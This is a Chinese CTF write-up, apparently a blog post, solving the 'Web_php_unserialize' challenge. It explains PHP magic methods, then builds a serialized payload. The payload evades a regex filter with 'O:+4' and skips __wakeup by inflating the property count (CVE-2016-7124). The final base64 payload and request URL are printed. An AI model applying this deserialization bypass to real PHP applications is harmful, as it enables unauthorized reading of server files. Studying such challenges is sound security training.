Web_php_unserialize/mu魔术方法/PHP序列化

前言:

本文讲的是通过Web_php_unserialize题目所见过的知识点,以下:

  • PHP序列化与反序列化
  • 正则的绕过
  • 魔术方法的应用

讲解之前先说一下PHP中的魔术方法:

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__toString()__invoke()__set_state()__clone()__debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 

一、分析代码  

 1 <?php
 2 class Demo {
 3     private $file = 'index.php';
 4     public function __construct($file) {
 5         $this->file = $file;
 6     }
 7     function __destruct() {
 8         echo @highlight_file($this->file, true);
 9     }
10     function __wakeup() {
11         if ($this->file != 'index.php') {
12             //the secret is in the fl4g.php
13             $this->file = 'index.php';
14         }
15     }
16 }
17 if (isset($_GET['var'])) {
18     $var = base64_decode($_GET['var']);
19     if (preg_match('/[oc]:\d+:/i', $var)) {
20         die('stop hacking!');
21     } else {
22         @unserialize($var);
23     }
24 } else {
25     highlight_file("index.php");
26 }
27 ?>

代码中的魔术方法说明如下:

1.构造函数 __construct
            PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。(初始化对象用的)
2、析构函数 __destruct
            PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

3、本代码中其他魔术方法__sleep() 和 __wakeup()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作
__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

本代码的大致意思是:

在Demo类中有三个魔术方法__construct, __destruct,__wakeup
__construct方法初始化对象值,当对象调用完后调用__destruct方法,其显示$file内容;__wakeup方法是反序列化自动调用的方法
下面代码块讲的是通过get方法传入参数var,对var变量64解码,在通过preg_match函数正则过滤var中  带o和c:任意一个或多个的数字:  此类的内容后面的i是不区分大小写。成功输出'stop hacking!,否则对var反序列化,反序列化前调用__wakeup方法,将file该为index.php。所以我们要绕过
 

__wakeup()函数漏洞说明

 1 <?php
 2 class Student{
 3 public $full_name = 'zhangsan';
 4 public $score = 150;
 5 public $grades = array();
 6 
 7 
 8 function __wakeup() {
 9 echo "__wakeup is invoked";
10 }
11 }
12 
13 
14 $s = new Student();
15 var_dump(serialize($s));
16 ?>
17 最后页面上输出的就是Student对象的一个序列化输出,
18 O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。
其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
19 __wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。 20 当我们将上述的序列化的字符串中的对象属性修改为5,变为 21 O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。 22 最后执行运行的代码如下: 23 24 25 26 27 class Student{ 28 public $full_name = 'zhangsan'; 29 public $score = 150; 30 public $grades = array(); 31 32 33 function __wakeup() { 34 echo "__wakeup is invoked"; 35 } 36 function __destruct() { 37 var_dump($this); 38 } 39 } 40 41 42 $s = new Student(); 43 $stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}'); 44 45 46 可以看到这样就成功地绕过了__wakeup()函数。

二、分析完了,利用漏洞,如下:

  变量var经历的过程

          base64解码-------》正则过滤--------》反序列化
       我们利用要将他反过来
          序列化-------》绕过正则过滤/wekeup--------》base64编码

第一步序列化

 1 <?php
 2     class Demo {
 3         private $file = 'index.php';
 4         public function __construct($file) {
 5             $this->file = $file;
 6         }
 7         function __destruct() {
 8             echo @highlight_file($this->file, true);
 9         }
10         function __wakeup() {
11             echo '```````````````````````````````````';
12         }
13         //public function __sleep(){
14         //return array('server', 'username', 'password', 'db');
15         //}
16         //}
17     }
18     $Demo = new Demo('fl4g.php');
19     $data = serialize($Demo);
20     //$a = unserialize($data);
21     echo $data;
22     //$data = str_replace('O:4', 'O:+4', $data);//在$data中找0:4,换成0:+4,绕过正则
23     //$data = str_replace(':1:', ':2:', $data);//绕过--wakeup
24 
25 
26    // echo (base64_encode($data));//base编码
27 ?>
  •   将题中所给的类进行序列化, 可得:
    O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.PHP";}

第二步绕过

 

  • 正则匹配的就是 O:4 , 在这里我们将 4 改为 + 4 即可绕过。得到 :
    O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  • 绕过--wakeup:即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行.(见代码23行)

 

第三步

  • base64编码得到编码后的代码:
    TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

     

    传入/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
    得到flag:

    总结:

    1. PHP中魔术方法
    2. 反序列化与序列化的过程
    3. 正则的绕过
    4. __wakeup绕过 (CVE-2016-7124)
posted @ 2020-05-31 21:44  ~Wal  阅读(466)  评论(0)    收藏  举报